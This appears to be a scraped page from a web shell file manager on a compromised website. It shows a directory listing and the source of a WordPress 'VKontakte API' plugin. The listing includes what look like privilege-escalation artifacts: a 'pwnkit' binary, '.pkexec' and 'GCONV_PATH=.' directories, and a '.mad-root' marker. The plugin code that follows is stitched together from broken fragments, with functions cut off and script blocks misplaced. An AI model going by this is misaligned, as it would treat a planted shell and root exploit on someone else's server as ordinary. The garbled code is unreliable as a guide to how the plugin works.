Gecko [ biogenelab.eu ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-sr-x
GCONV_PATH=.	[ DIR ]	drwxr-sr-x
css	[ DIR ]	drwxrwsrwx
images	[ DIR ]	drwxrwsrwx
js	[ DIR ]	drwxrwsrwx
php	[ DIR ]	drwxrwsrwx
translate	[ DIR ]	drwxrwsrwx
.mad-root	0 B	-rw-r--r--
admin.php	5.22 KB	-rw-r--r--
index.php	27 B	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
readme.txt	12.86 KB	-rw-r--r--
vkapi.php	105.47 KB	-rw-r--r--

Code Editor : vkapi.php

<?php
/*
Plugin Name: VKontakte API
Plugin URI: http://www.kowack.info/projects/vk_api
Description: Add API functions from vk.com in your own blog. <br /><strong><a href="options-general.php?page=vkapi_settings">Settings!</a></strong>
Version: 3.6
Author: kowack
Author URI: http://www.kowack.info/
*/

/*
	Copyright 2011  Evgen Zabrodkyi  (email: kowack@gmail.com)

This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

/** todo-dx:
 * шорткод для соц. кнопок
 * стили соц.кнопок
 * соц.кнопки слева\справа\центр
 * ширина блока комментариев в процентах
 * кросспост: твиттер, фейсбук, гугл
 * плавающий блок лайков
 * исправить произвольный логотип входа
 * сломались отложеные записи, исправить
 */
function vkapi_can_start()
{
    global $wp_version;
    if (version_compare($wp_version, '3.5.1', '<')) {
        function vkapi_notice_update()
        {
            global $wp_version;
            $link = get_bloginfo('url', 'display');
            echo
            "<div class='error'>
                    <p>
                        VKontakte API plugin requires WordPress 3.5.1 or newer.
                        <a href='{$link}/wp-admin/update-core.php'>Please update!</a>
                        (current version is {$wp_version})
                    </p>
		        </div>";
        }

add_action('admin_notices', 'vkapi_notice_update');

return false;
    }

if (!defined('DB_NAME')) {
        wp_redirect('http://darx.net');
    }

if (isset($VK_api)) {
        function vkapi_notice_isSet()
        {
            echo '<div class="error"><p>VK_api already set!</p></div>';
        }

add_action('admin_notices', 'vkapi_notice_isSet');

return false;
    }

return true;
}

$VK_api = vkapi_can_start() ? new VK_api() : null;

class VK_api
{
    private $plugin_domain = 'vkapi';
    private $plugin_url;
    private $plugin_path;
    private $vkapi_page_menu;
    private $vkapi_page_settings;
    private $vkapi_page_comments;
    private $vkapi_server = 'https://api.vk.com/method/';

$appid = get_option('vkapi_appid');
        if (empty ($appid{0})) {
            add_action(
                'admin_notices',
                create_function(
                    '',
                    "echo '<div class=\"error\"><p>" . sprintf(
                        __('VKontakte API Plugin needs <a href="%s">configuration</a>.', $this->plugin_domain),
                        admin_url('admin.php?page=vkapi_settings')
                    ) . "</p></div>';"
                )
            );
        }
    }

##### MAIN
    static function install()
    {
        wp_schedule_event(time(), 'hourly', 'vkapi_cron');
        // todo-dx: check with options.php
        // init platform
        add_option('vkapi_appid');
        add_option('vkapi_api_secret');
        add_option('vkapi_at');
        // comments
        add_option('vkapi_comm_width', '600');
        add_option('vkapi_comm_limit', '15');
        add_option('vkapi_comm_graffiti', '1');
        add_option('vkapi_comm_photo', '1');
        add_option('vkapi_comm_audio', '1');
        add_option('vkapi_comm_video', '1');
        add_option('vkapi_comm_link', '1');
        add_option('vkapi_comm_autoPublish', '1');
        add_option('vkapi_comm_height', '0');
        add_option('vkapi_show_first', 'wp');
        // button align
        add_option('vkapi_align', 'left');
        add_option('vkapi_like_top', '0');
        add_option('vkapi_like_bottom', '1');
        // vk like
        add_option('vkapi_like_type', 'full');
        add_option('vkapi_like_verb', '0');
        // vk share
        add_option('vkapi_share_type', 'round');
        add_option('vkapi_share_text', 'Сохранить');
        // facebook
        add_option('fbapi_admin_id', '');
        // show ?
        add_option('vkapi_show_first', 'true');
        add_option('vkapi_show_like', 'true');
        add_option('vkapi_show_share', 'false');
        add_option('fbapi_show_like', 'false');
        add_option('fbapi_show_comm', 'false');
        add_option('gpapi_show_like', 'false');
        add_option('tweet_show_share', 'false');
        add_option('mrc_show_share', 'false');
        add_option('ya_show_share', 'false');
        // over
        add_option('vkapi_some_logo_e', '0');
        add_option('vkapi_some_logo', plugin_dir_url(__FILE__) . 'images/wordpress-logo.jpg');
        add_option('vkapi_some_desktop', '1');
        add_option('vkapi_some_revision_d', '1');
        add_option('vkapi_close_wp', '0');
        add_option('vkapi_login', '1');
        // categories
        add_option('vkapi_like_cat', '0');
        add_option('vkapi_share_cat', '0');
        add_option('fbapi_like_cat', '0');
        add_option('gpapi_like_cat', '0');
        add_option('tweet_share_cat', '0');
        add_option('mrc_share_cat', '0');
        add_option('ya_share_cat', '0');
        // tweet
        add_option('tweet_account');
        // crosspost
        add_option('vkapi_vk_group');
        add_option('vkapi_crosspost_default', '0');
        add_option('vkapi_crosspost_length', '888');
        add_option('vkapi_crosspost_link', '0');
        add_option('vkapi_crosspost_signed', '1');
        add_option('vkapi_crosspost_anti', '0');
    }

static function pause()
    {
        wp_clear_scheduled_hook(array('VK_api', 'cron'));
        // todo-dx: notice about help page and link to group
    }

public function cron()
    {
        if (get_option('vkapi_crosspost_anti')) {
            self::notice_notice('Before CRON');
            require_once(plugin_dir_path(__FILE__) . 'php/cron.php');
            self::notice_notice('After CRON');
        }
    }

static function uninstall()
    {
        delete_option('vkapi_appid');
        delete_option('vkapi_api_secret');
        delete_option('vkapi_comm_width');
        delete_option('vkapi_comm_limit');
        delete_option('vkapi_comm_graffiti');
        delete_option('vkapi_comm_photo');
        delete_option('vkapi_comm_audio');
        delete_option('vkapi_comm_video');
        delete_option('vkapi_comm_link');
        delete_option('vkapi_comm_autoPublish');
        delete_option('vkapi_comm_height');
        delete_option('vkapi_show_first');
        delete_option('vkapi_like_type');
        delete_option('vkapi_like_verb');
        delete_option('vkapi_like_cat');
        delete_option('vkapi_like_top');
        delete_option('vkapi_like_bottom');
        delete_option('vkapi_share_cat');
        delete_option('vkapi_share_type');
        delete_option('vkapi_share_text');
        delete_option('vkapi_align');
        delete_option('vkapi_show_comm');
        delete_option('vkapi_show_like');
        delete_option('fbapi_show_comm');
        delete_option('vkapi_show_share');
        delete_option('vkapi_some_logo_e');
        delete_option('vkapi_some_logo');
        delete_option('vkapi_some_desktop');
        delete_option('vkapi_some_revision_d');
        delete_option('vkapi_close_wp');
        delete_option('vkapi_login');
        delete_option('fbapi_admin_id');
        delete_option('tweet_show_share');
        delete_option('tweet_account');
        delete_option('tweet_share_cat');
        delete_option('gpapi_show_like');
        delete_option('fbapi_like_cat');
        delete_option('fbapi_show_like');
        delete_option('gpapi_like_cat');
        delete_option('mrc_show_share');
        delete_option('mrc_share_cat');
        delete_option('ya_show_share');
        delete_option('ya_share_cat');
        delete_option('vkapi_vk_group');
        delete_option('vkapi_at');
        delete_option('vkapi_crosspost_default');
        delete_option('vkapi_crosspost_length');
        delete_option('vkapi_crosspost_link');
        delete_option('vkapi_crosspost_signed');
        delete_option('vkapi_crosspost_category');
        delete_option('vkapi_crosspost_anti');
    }

function widget_init()
    {
        $vkapi_login = get_option('vkapi_login');
        if ($vkapi_login == 'true') {
            register_widget('VKAPI_Login');
        }
        register_widget('VKAPI_Community');
        register_widget('VKAPI_Recommend');
        register_widget('VKAPI_Comments');
        register_widget('VKAPI_Cloud');
        register_widget('FBAPI_LikeBox');
    }

function widget_dashboard()
    {
        if (current_user_can('manage_options')) {
            wp_add_dashboard_widget(
                'vkapi_dashboard_widget',
                'VKapi: ' . 'Новости',
                array(&$this, 'widget_dashboard_admin')
            );
        }
        // todo-dx: add widget with settings, show last comments
    }

setTimeout(function () {
                var el = document.createElement("script");
                el.type = "text/javascript";
                el.src = "https://vk.com/js/api/openapi.js";
                el.async = true;
                document.getElementById("vk_api_transport").appendChild(el);
            }, 0);
        </script>
        <?php endif;
    }

function admin_menu()
    {
        $this->vkapi_page_menu =
            add_menu_page(
                'VKontakte API',
                'VKontakte API',
                'manage_options',
                'vkapi_settings',
                array(&$this, 'settings_page'),
                'https://vk.com/favicon.ico'
            );
        $this->vkapi_page_settings =
            add_submenu_page(
                'vkapi_settings',
                'VKontakte API - ' . __('Settings', $this->plugin_domain),
                __('Settings', $this->plugin_domain),
                'manage_options',
                'vkapi_settings',
                array(&$this, 'settings_page')
            );
        $this->vkapi_page_comments =
            add_submenu_page(
                'vkapi_settings',
                'VKontakte API - ' . __('Comments', $this->plugin_domain),
                __('Last Comments', $this->plugin_domain),
                'manage_options',
                'vkapi_comments',
                array(&$this, 'comments_page')
            );
        add_action('admin_print_styles-' . $this->vkapi_page_settings, array(&$this, 'add_css_admin'));
        add_action('admin_print_styles-' . $this->vkapi_page_comments, array(&$this, 'add_css_admin_comm'));
        add_action('load-' . $this->vkapi_page_settings, array(&$this, 'contextual_help'));
        add_action('admin_init', array(&$this, 'register_settings'));
    }

function add_css_admin()
    {
        wp_enqueue_style('vkapi_admin', plugins_url('css/admin.css', __FILE__));
        add_action('vkapi_body', array(&$this, 'js_async_vkapi'));
        add_action('vkapi_body', array(&$this, 'js_async_fbapi'));
    }

function add_css_admin_comm()
    {
        $appid = get_option('vkapi_appid');
        echo "<meta property='vk:app_id' content='{$appid}' />\n";
        add_action('vkapi_body', array(&$this, 'js_async_vkapi'));
    }

return $data;
        }
        // check anti crosspost
        if ($post['crossposted']) {
            $link = get_permalink($post['ID']);
            self::notice_notice('VKapi: CrossPost: ' . __('AntiCrossPost detected.' . $link, $this->plugin_domain));

return $data;
        }
        // check access token
        $vk_at = get_option('vkapi_at');
        if (empty($vk_at)) {
            self::notice_notice('VKapi: CrossPost: ' . __('Access Token is empty.', $this->plugin_domain));

return $data;
        }
        // Start !!!
        self::crosspost($vk_at, $post['ID'], $data['post_title'], $data['post_content']);

// End.
        return $data;
    }

function add_custom_box($page)
    {
        add_meta_box(
            'vkapi_meta_box_comm',
            'VKapi: ' . __('Comments', $this->plugin_domain),
            array(&$this, 'vkapi_inner_custom_box_comm'),
            $page,
            'advanced'
        );
        add_meta_box(
            'vkapi_meta_box_comm',
            'VKapi: ' . __('Comments', $this->plugin_domain),
            array(&$this, 'vkapi_inner_custom_box_comm'),
            $page,
            'advanced'
        );
        add_meta_box(
            'vkapi_meta_box_butt',
            'VKapi: ' . __('Social buttons', $this->plugin_domain),
            array(&$this, 'vkapi_inner_custom_box_butt'),
            $page,
            'advanced'
        );
        add_meta_box(
            'vkapi_meta_box_butt',
            'VKapi: ' . __('Social buttons', $this->plugin_domain),
            array(&$this, 'vkapi_inner_custom_box_butt'),
            $page,
            'advanced'
        );
    }

function vkapi_body_fix()
    {
        echo '<div id="vkapi_body">';
        do_action('vkapi_body');
        echo '</div>';
    }

function own_actions_links($links)
    {
        //unset($links['deactivate']);
        unset($links['edit']);
        $settings_link =
            "&nbsp;
                <a href='options-general.php?page=vkapi_settings'>
                   <img src='{$this->plugin_url}images/set.png' width='20' />
                   &nbsp;
                </a>";
        array_push($links, $settings_link);

return $links;
    }

function plugin_meta($links, $file)
    {
        if ($file == plugin_basename(__FILE__)) {
            $links[] = '<a href="' . admin_url('options-general.php?page=vkapi_settings') . '">' . __(
                'Settings',
                $this->plugin_domain
            ) . '</a>';
            $links[] = 'Code is poetry!';
        }

return $links;
    }

function login_href()
    {
        return home_url('/');
    }

function close_wp($file)
    {
        if (!(is_singular() && comments_open())) {
            return $file;
        }

return dirname(__FILE__) . '/php/close-wp.php';
    }

function do_empty()
    {
        global $post;
        $vkapi_comm = get_post_meta($post->ID, 'vkapi_comm', true);
        $fbapi_comm = get_post_meta($post->ID, 'fbapi_comm', true);

return $vkapi_comm + $fbapi_comm;
    }

function do_non_empty($args)
    {
        global $post;
        $vkapi_comm = get_post_meta($post->ID, 'vkapi_comm', true);
        $fbapi_comm = get_post_meta($post->ID, 'fbapi_comm', true);

return (int)($args + $vkapi_comm + $fbapi_comm);
    }

if ($vkapi_some_desktop) {
            echo "
                <script type='text/javascript'>
                    // todo-dx: check all function is calling
                    function vkapi_checkPermission() {
                        if(window.webkitNotifications.checkPermission()==0){
                            window.webkitNotifications.createNotification(
                                'https://vk.com/images/lnkinner32.gif',
                                'Успех',
                                'Сообщения разрешены')
                                .show();
                            clearInterval(vkapi_interval);
                        }
                    }
                    if(window.webkitNotifications.checkPermission()>0){
                        var vkapi_interval = setInterval(vkapi_checkPermission,500);
                    }
                    function vkapi_requestPermission(){
                        window.webkitNotifications.requestPermission();
                        jQuery('button.vkapi_remove').remove();
                    }
                    function onChangeRecalc(num){
                        jQuery('button.vk_recount').html('{$vkapi_button} ('+num+')');
                    }
                    function onChange(num,last_comment,data,hash){
                        if (window.webkitNotifications.checkPermission() == 0) {
                            last_comment = html_entity_decode(last_comment);
                            Time = new Date();
                            Hour = Time.getHours();
                            Min = Time.getMinutes();
                            Sec = Time.getSeconds();
                            var notification = window.webkitNotifications.createNotification(
                                'https://vk.com/images/lnkinner32.gif',
                                'Время '+Hour+':'+Min+':'+Sec,
                                last_comment);
                            notification.show();
                            document.getElementById('vkapi_sound').play();
                            setTimeout(function(){notification.cancel()}, '10000');
                        } else {
                            jQuery('#vkapi')
                                .append(\"<button class='submit' class='vkapi_remove'\" +
                                \"onclick='vkapi_requestPermission()'>Разрешить всплывающие сообщения</button>\");
                        }
                    }
                </script>";
        } else {
            echo "
				<script type='text/javascript'>
                    function onChangeRecalc(num){
                        jQuery('button.vk_recount').html('{$vkapi_button} ('+num+')');
                    }
				</script>";
        }
        $width = get_option('vkapi_comm_width');
        $height = get_option('vkapi_comm_height');
        $limit = get_option('vkapi_comm_limit');
        $url = get_permalink();
        echo "
			<div id='vkapi' onclick='showNotification()'></div>
			<script type='text/javascript'>
				jQuery('body').on('vkapi_vk', function(){
                    VK.Widgets.Comments(
                        'vkapi', {
                            width: {$width},
                            height: {$height},
                            limit: {$limit},
                            attach: {$attach},
                            autoPublish: {$autoPublish},
                            mini: 1,
                            pageUrl: '{$url}'
                        }, {$post->ID});
				});
			</script>";
        add_action('wp_footer', array(&$this, 'add_footer'));
    }

function settings_page()
    {
        require('php/options.php');
    }

##### PROFILE USER INTEGRATIONS
    function add_profile_html($profile)
    {
        ?>
    <table class="form-table">
        <tr>
            <th scope="row">
                <label>
                    <?php _e('VKontakte', $this->plugin_domain); ?>
                </label>
            </th>
            <?php
            $uid = get_user_meta($profile->ID, 'vkapi_uid', true);
            if (empty($uid)) {
                ?>
                <td>
                    <div id="vkapi_login_button"
                         onclick="VK.Auth.login(onSignonProfile)">
                        <a>
                            ВойтиВКонтакте
                        </a>
                    </div>
                    <div id="vkapi_status_off"></div>
                    <style type="text/css">
                        #vkapi_login_button {
                            padding: 0 !important;
                            border: 0 !important;
                        }

.form-table td #vkapi_login_button td {
                            padding: 0 !important;
                            margin: 0 !important;
                        }
                    </style>
                    <script language="text/javascript">
                        jQuery("body").on('vkapi_vk', function () {
                            VK.UI.button('vkapi_login_button');
                        });
                    </script>
                </td>
                <?php
            } else {
                ?>
                <td>
                    <p>
                        <?php _e('Connected User Id: ', $this->plugin_domain); echo $uid; ?>
                    </p>
                    <input type="button"
                           class="button-primary"
                           style="display: inline-block"
                           value="<?php _e('Disconnect from VKontakte', $this->plugin_domain); ?>"
                           onclick="vkapi_profile_update(0)"/>

<div id="vkapi_status_on"></div>
                </td>
                <?php
            }
            ?>
        </tr>
    </table>
    <?php
    }

function onSignonProfile(response) {
                if (response.session) {
                    vkapi_profile_update(1);
                } else {
                    VK.Auth.login(onSignonProfile);
                }
            }
        </script>
        <?php
        }
    }

return $avatar;
    }

##### JS ASYNC LOADING
    function js_async_vkapi()
    {
        if (get_option('vkapi_appid')):
            ?>
        <div id="vk_api_transport"></div>
        <script type="text/javascript">
            window.vkAsyncInit = function () {
                VK.init({
                    apiId: <?php echo get_option('vkapi_appid') . "\n"; ?>
                });
                jQuery("body").trigger('vkapi_vk');
            };

function js_async_vkshare()
    {
        ?>
    <div id="vk_share_transport"></div>
    <script type="text/javascript">
        setTimeout(function () {
            var el = document.createElement("script");
            el.type = "text/javascript";
            el.src = "https://vk.com/js/api/share.js";
            el.async = true;
            document.getElementById("vk_share_transport").appendChild(el);
        }, 0);
    </script>
    <?php
    }

function js_async_plusone()
    {
        ?>
    <div id="gp_plusone_transport"></div>
    <script type="text/javascript">
        setTimeout(function () {
            var el = document.createElement("script");
            el.type = "text/javascript";
            el.src = "https://apis.google.com/js/plusone.js";
            el.async = true;
            document.getElementById("gp_plusone_transport").appendChild(el);
        }, 0);
    </script>
    <?php
    }

function js_async_fbapi()
    {
        if (get_option('fbapi_appid')):
            ?>
        <div id="fb-root"></div>
        <script>
            window.fbAsyncInit = function () {
                FB.init({
                    appId: <?php echo get_option('fbapi_appid') . "\n"; ?>,
                    status:true,
                    cookie:true,
                    xfbml:true
                });
                jQuery("body").trigger('vkapi_fb');
            };

(function (d) {
                var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0];
                if (d.getElementById(id)) {
                    return;
                }
                js = d.createElement('script');
                js.id = id;
                js.async = true;
                js.src = "//connect.facebook.net/ru_RU/all.js";
                ref.parentNode.insertBefore(js, ref);
            }(document));
        </script>
        <?php endif;
    }

function js_async_mrc()
    {
        ?>
    <script src="https://connect.mail.ru/js/loader.js"
            type="text/javascript"
            charset="UTF-8">
    </script>
    <?php
    }

##### SOCIAL BUTTONS
    function add_buttons($args)
    {
        global $post;
        $count = 0;
        $vkapi_get_butt = get_post_meta($post->ID, 'vkapi_buttons', true);
        if (
            !is_feed()
            && $vkapi_get_butt !== '0'
            && !(in_array($GLOBALS['pagenow'], array('wp-login.php', 'wp-register.php')))
        ) {
            // mrc share
            if (get_option('mrc_show_share') == 'true') {
                $count++;
                $in_cat = get_option('mrc_share_cat');
                if ($in_cat) {
                    add_action('add_social_button_action', array(&$this, 'mrc_button_share'), 5);
                } else {
                    if (!is_home() && !is_category() && !is_archive()) {
                        add_action('add_social_button_action', array(&$this, 'mrc_button_share'), 5);
                    }
                }
            }
            // gp +
            if (get_option('gpapi_show_like') == 'true') {
                $count++;
                $in_cat = get_option('gpapi_like_cat');
                if ($in_cat) {
                    add_action('add_social_button_action', array(&$this, 'gpapi_button_like'), 5);
                } else {
                    if (!is_home() && !is_category() && !is_archive()) {
                        add_action('add_social_button_action', array(&$this, 'gpapi_button_like'), 5);
                    }
                }
            }
            // fb like
            if (get_option('fbapi_show_like') == 'true') {
                $count++;
                $in_cat = get_option('fbapi_like_cat');
                if ($in_cat) {
                    add_action('add_social_button_action', array(&$this, 'fbapi_button_like'), 5);
                } else {
                    if (!is_home() && !is_category() && !is_archive()) {
                        add_action('add_social_button_action', array(&$this, 'fbapi_button_like'), 5);
                    }
                }
            }
            // tweet me
            if (get_option('tweet_show_share') == 'true') {
                $count++;
                $in_cat = get_option('tweet_share_cat');
                if ($in_cat) {
                    add_action('add_social_button_action', array(&$this, 'tweet_button_share'), 5);
                } else {
                    if (!is_home() && !is_category() && !is_archive()) {
                        add_action('add_social_button_action', array(&$this, 'tweet_button_share'), 5);
                    }
                }
            }
            // ya share
            if (get_option('ya_show_share') == 'true') {
                $count++;
                $in_cat = get_option('ya_share_cat');
                if ($in_cat) {
                    add_action('add_social_button_action', array(&$this, 'ya_button_share'), 5);
                } else {
                    if (!is_home() && !is_category() && !is_archive()) {
                        add_action('add_social_button_action', array(&$this, 'ya_button_share'), 5);
                    }
                }
            }
            // vk share
            if (get_option('vkapi_show_share') == 'true') {
                $count++;
                $in_cat = get_option('vkapi_share_cat');
                if ($in_cat) {
                    add_action('add_social_button_action', array(&$this, 'vkapi_button_share'), 5);
                } else {
                    if (!is_home() && !is_category() && !is_archive()) {
                        add_action('add_social_button_action', array(&$this, 'vkapi_button_share'), 5);
                    }
                }
            }
            // vk like
            if (get_option('vkapi_show_like') == 'true') {
                $count++;
                $in_cat = get_option('vkapi_like_cat');
                if ($in_cat) {
                    add_action('add_social_button_action', array(&$this, 'vkapi_button_like'), 5);
                } else {
                    if (!is_home() && !is_category() && !is_archive()) {
                        add_action('add_social_button_action', array(&$this, 'vkapi_button_like'), 5);
                    }
                }
            }
            // shake
            if ($count) {
                add_action('add_social_button_action', array(&$this, 'social_button_start'), 1);
                add_action('add_social_button_action', array(&$this, 'social_button_end'), 888);
                add_action('wp_footer', array(&$this, 'social_button_style'), 888);

ob_start();
                do_action('add_social_button_action');
                $echo = ob_get_clean();

$temp = get_option('vkapi_like_top');
                if ($temp) {
                    $args = $echo . $args;
                }
                $temp = get_option('vkapi_like_bottom');
                if ($temp) {
                    $args .= $echo;
                }
            }
        }

return $args;
    }

function social_button_style()
    {
        ?>
    <style type="text/css">
        ul.nostyle,
        ul.nostyle li {
            list-style: none;
            background: none;
        }

ul.nostyle li {
            height: 20px;
            line-height: 20px;
            padding: 5px;
            margin: 0;
            /*display: inline-block;*/
            float: left;
        }

ul.nostyle li div table {
            margin: 0;
            padding: 0;
        }

.vkapishare {
            padding: 0 3px 0 0;
        }

.vkapishare td,
        .vkapishare tr {
            border: 0 !important;
            padding: 0 !important;
            margin: 0 !important;
            vertical-align: top !important;
        }
    </style>
    <?php
    }

function social_button_start()
    {
        $temp = get_option("vkapi_align");
        echo "<div style='clear:both;'><ul class='nostyle' style='float:{$temp}'>";
    }

function social_button_end()
    {
        echo '</ul></div><br style="clear:both;">';
    }

function fbapi_button_like()
    {
        $url = get_permalink();
        echo "
			<li>
                <div
                    class='fb-like'
                    data-href='{$url}'
                    data-send='false'
                    data-layout='button_count'
                    data-width='100'
                    data-show-faces='true'
                    >
                </div>
			</li>";
    }

function gpapi_button_like()
    {
        $url = get_permalink();
        echo "
			<li>
                <div
                    class='g-plusone'
                    data-size='medium'
                    data-annotation='none'
                    data-href='{$url}'>
                </div>
			</li>";
    }

function mrc_button_share()
    {
        // todo-dx: check new version
        $url = rawurlencode(get_permalink());
        echo "
			<li>
			    <div style='width:130px'>
			        <a
                        rel='nofollow'
                        target='_blank'
                        class='mrc__plugin_uber_like_button'
                        href='{$url}'
                        data-mrc-config=\"{'nt' : 1, 'cm' : 1, 'ck' : 1, 'sz' : 20, 'st' : 1, 'tp' : 'combo'}\">
                            Нравится
                    </a>
			    </div>
			</li>";
    }

function ya_button_share()
    {
        $url = get_permalink();
        // todo-dx: lookup for new version
        echo "
			<li>
			    <div>
			        <a
                        style='text-decoration: none'
                        rel='nofollow'
                        counter='yes'
                        type='icon'
                        size='large'
                        share_url='{$url}'
                        name='ya-share'>
                            &nbsp;
                    </a>
			    </div>
			</li>";
    }

##### PRIVATE FUNCTION
    private function notice_error($msg = 'qwe123qwe')
    {
        if ($msg == 'qwe123qwe') {
            return;
        } else {
            $array = array();
            $temp = get_option('vkapi_msg');
            if (!empty($temp)) {
                $array = array_merge($array, $temp);
            }
            $array[] = array(
                'type' => 'error',
                'msg' => $msg
            );
            update_option('vkapi_msg', $array);
        }
    }

private function notice_notice($msg = 'qwe123qwe')
    {
        if ($msg == 'qwe123qwe') {
            return;
        } else {
            $array = array();
            $temp = get_option('vkapi_msg');
            if (!empty($temp)) {
                $array = array_merge($array, $temp);
            }
            $array[] = $array[] = array(
                'type' => 'updated',
                'msg' => $msg
            );
            update_option('vkapi_msg', $array);
        }
    }

private function crosspost($vk_at, $post_id, $post_title, $post_content)
    {
        $body = array();
        $body['access_token'] = $vk_at;
        $body['from_group'] = 1;
        $body['signed'] = get_option('vkapi_crosspost_signed');
        // todo-dx: crosspost to facebook
        $vk_group = get_option('vkapi_vk_group');
        if (!is_numeric($vk_group)) {
            $params = array();
            $params['access_token'] = $vk_at;
            $params['gid'] = $vk_group;
            $query = http_build_query($params);
            $result = wp_remote_get($this->vkapi_server . 'groups.getById?' . $query);
            if (is_wp_error($result)) {
                $msg = $result->get_error_message();
                self::notice_error('CrossPost: ' . $msg . ' wpx' . __LINE__);

return false;
            }
            $r_data = json_decode($result['body'], true);
            if (!$r_data['response']) {
                $msg = $r_data['error']['error_msg'] . ' ' . $r_data['error']['error_code'];
                self::notice_error('CrossPost: API Error Code: ' . $msg . 'x' . __LINE__);

return false;
            }
            $vk_group = $r_data['response'][0]['gid'];
            $vk_group_screen_name = $r_data['response'][0]['screen_name'];
        }
        $vk_group = -$vk_group;
        $body['owner_id'] = $vk_group;
        // Attachment
        $att = array();
        $image_path = $this->crosspost_get_image($post_id);
        if ($image_path) {
            $att[] = $this->vk_upload_photo($vk_at, $vk_group, $image_path);
        }
        $temp = isset($_REQUEST['vkapi_crosspost_link'])
            ? $_REQUEST['vkapi_crosspost_link']
            : get_option('vkapi_crosspost_link');
        if (!empty($temp)) {
            $temp = get_permalink($post_id);
            if (!class_exists('Punycode')) {
                require_once($this->plugin_path . 'php/punycode.php');
                $temp = Punycode::urldecode($temp);
            }
            $att[] = $temp;
        }
        if (!empty($att)) {
            $body['attachments'] = implode(',', $att);
        }
        // Text
        $text = do_shortcode($post_content);
        $text = $this->html2text($text);
        $text = html_entity_decode($text, ENT_QUOTES);
        $temp = isset($_REQUEST['vkapi_crosspost_length'])
            ? $_REQUEST['vkapi_crosspost_length']
            : get_option('vkapi_crosspost_length');
        if ((int)$temp > 0) {
            $text_len = mb_strlen($text);
            $text = mb_substr($text, 0, (int)$temp);
            $last_pos = strrpos($text, ' ');
            if (!$last_pos) {
                $last_pos = strrpos($text, "\n");
            }
            if ($last_pos) {
                $text = mb_substr($text, 0, $last_pos);
            }
            if (mb_strlen($text) != $text_len) {
                $text .= '...';
            }
            $text = $post_title . "\r\n\r\n" . $text;
            $body['message'] = $text;
        }
        // Call
        $curl = new Wp_Http_Curl();
        $result = $curl->request(
            $this->vkapi_server . 'wall.post',
            array(
                'body' => $body,
                'method' => 'POST'
            )
        );
        if (is_wp_error($result)) {
            $msg = $result->get_error_message();
            self::notice_error('CrossPost: ' . $msg . ' wpx' . __LINE__);

return false;
        }
        $r_data = json_decode($result['body'], true);
        if (isset($r_data['error'])) {
            $msg = $r_data['error']['error_msg'] . ' ' . $r_data['error']['error_code'];
            self::notice_error('CrossPost: API Error Code: ' . $msg . 'x' . __LINE__);

return false;
        }
        $temp = isset($vk_group_screen_name) ? $vk_group_screen_name : 'club' . $vk_group;
        $post_link = "http://vk.com/{$temp}?w=wall{$vk_group}_{$r_data['response']['post_id']}%2Fall";
        $post_href = "<a href='{$post_link}' target='_blank'>{$temp}</a>";
        self::notice_notice('CrossPost: Success ! ' . $post_href);
        update_post_meta($post_id, 'vkapi_crossposted', 'true');

return true;
    }

private function html2text($html)
    {
        $tags = array(
            0 => '~<h[123][^>]+>~si',
            1 => '~<h[456][^>]+>~si',
            2 => '~<table[^>]+>~si',
            3 => '~<tr[^>]+>~si',
            4 => '~<li[^>]+>~si',
            5 => '~<br[^>]+>~si',
            6 => '~<p[^>]+>~si',
            7 => '~<div[^>]+>~si',
        );
        $html = preg_replace($tags, "\n", $html);
        $html = preg_replace('~</t(d|h)>\s*<t(d|h)[^>]+>~si', ' - ', $html);
        $html = preg_replace('~<[^>]+>~s', '', $html);

// reducing spaces
        //$html = preg_replace('~ +~s', ' ', $html);
        //$html = preg_replace('~^\s+~m', '', $html);
        //$html = preg_replace('~\s+$~m', '', $html);

// reducing newlines
        //$html = preg_replace('~\n+~s',"\n",$html);
        return $html;
    }

private function crosspost_get_image($post_id)
    {
        // need thumbnail? no problem!
        $file_id = get_post_thumbnail_id($post_id);
        if (empty($file_id)) {
            // get first image id
            $images = get_children(
                array(
                    'post_parent' => $post_id,
                    'post_type' => 'attachment',
                    'numberposts' => 1, // show all -1
                    'post_status' => 'inherit',
                    'post_mime_type' => 'image',
                    'order' => 'ASC',
                    'orderby' => 'menu_order id'
                )
            );
            if (!$images) {
                return false;
            }
            foreach ($images as $image) {
                $file_id = $image->ID;
            }
        }
        // get absolute path
        $image_url = get_attached_file($file_id);

return $image_url;
    }

private function vk_upload_photo($vk_at, $vk_group, $image_path)
    {
        // Get Wall Upload Server
        $params = array();
        $params['access_token'] = $vk_at;
        $params['gid'] = -$vk_group;
        $query = http_build_query($params);
        $result = wp_remote_get($this->vkapi_server . 'photos.getWallUploadServer?' . $query);
        if (is_wp_error($result)) {
            $msg = $result->get_error_message();
            self::notice_error('CrossPost: ' . $msg . ' wpx' . __LINE__);

return false;
        }
        $data = json_decode($result['body'], true);
        if (!$data['response']) {
            $msg = $data['error']['error_msg'] . ' ' . $data['error']['error_code'];
            self::notice_error('CrossPost: API Error Code: ' . $msg . 'x' . __LINE__);

return false;
        }
        // Upload Photo To Server
        $curl = new Wp_Http_Curl();
        $body['photo'] = '@' . $image_path;
        $result = $curl->request(
            $data['response']['upload_url'],
            array(
                'body' => $body,
                'method' => 'POST'
            )
        );
        if (is_wp_error($result)) {
            $msg = $data->get_error_message();
            self::notice_error('CrossPost: ' . $msg . ' wpx' . __LINE__);

return false;
        }
        $data = json_decode($result['body'], true);
        if (!isset($data['photo'])) {
            $msg = $data['error']['error_msg'] . ' ' . $data['error']['error_code'];
            self::notice_error('CrossPost: API Error Code: ' . $msg . 'x' . __LINE__);

return false;
        }
        // Save Wall Photo
        $params = array();
        $params['access_token'] = $vk_at;
        $params['gid'] = -$vk_group;
        $params['server'] = $data['server'];
        $params['photo'] = $data['photo'];
        $params['hash'] = $data['hash'];
        $query = http_build_query($params);
        $result = wp_remote_get($this->vkapi_server . 'photos.saveWallPhoto?' . $query);
        if (is_wp_error($result)) {
            $msg = $result->get_error_message();
            self::notice_error('CrossPost: ' . $msg . ' wpx' . __LINE__);

return false;
        }

// Return Photo ID
